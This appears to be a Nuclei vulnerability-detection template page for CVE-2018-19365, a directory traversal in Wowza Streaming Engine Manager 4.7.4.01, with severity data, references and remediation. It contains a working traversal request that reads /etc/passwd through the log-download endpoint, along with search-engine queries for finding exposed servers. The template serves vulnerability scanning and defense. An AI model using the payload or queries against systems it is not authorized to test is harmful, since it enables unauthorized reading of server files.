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Wowza Streaming Engine Manager 4.7.4.01 - Directory Traversal

ID: CVE-2018-19365

Severity: critical

Author: 0x_Akoko

Tags: cve2018,cve,wowza,lfi

Wowza Streaming Engine 4.7.4.01 allows traversal of the directory structure and retrieval of a file via a remote, specifically crafted HTTP request to the REST API.

id: CVE-2018-19365
info:
name: Wowza Streaming Engine Manager 4.7.4.01 - Directory Traversal
author: 0x_Akoko
severity: critical
description: Wowza Streaming Engine 4.7.4.01 allows traversal of the directory structure and retrieval of a file via a remote, specifically crafted HTTP request to the REST API.
impact: |
An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or disclosure of sensitive information.
remediation: |
Upgrade to the latest version of Wowza Streaming Engine Manager or apply the necessary patches to fix the directory traversal vulnerability.
reference:
- https://blog.gdssecurity.com/labs/2019/2/11/wowza-streaming-engine-manager-directory-traversal-and-local.html
- https://nvd.nist.gov/vuln/detail/CVE-2018-19365
- https://raw.githubusercontent.com/WowzaMediaSystems/public_cve/main/wowza-streaming-engine/CVE-2018-19365.txt
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
cvss-score: 9.1
cve-id: CVE-2018-19365
cwe-id: CWE-22
epss-score: 0.01354
epss-percentile: 0.8589
cpe: cpe:2.3:a:wowza:streaming_engine:4.7.4.0.1:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: wowza
product: streaming_engine
shodan-query:
- http.title:"manager" product:"wowza streaming engine"
- cpe:"cpe:2.3:a:wowza:streaming_engine"
fofa-query: title="manager" product:"wowza streaming engine"
google-query: intitle:"manager" product:"wowza streaming engine"
tags: cve2018,cve,wowza,lfi
http:
- method: GET
path:
- "{{BaseURL}}/enginemanager/server/logs/download?logType=error&logName=../../../../../../../../etc/passwd&logSource=engine"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4a0a004730450221008e404de56e9eef0a98c91c97250ae51148bb54af7207ab2df1fcc5c84a1d3a1a022023df65691a510eba9459c1b5ee71ea8618fc211c82beb3f3d7c73377f1e257ca:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

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$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-19365.yaml"

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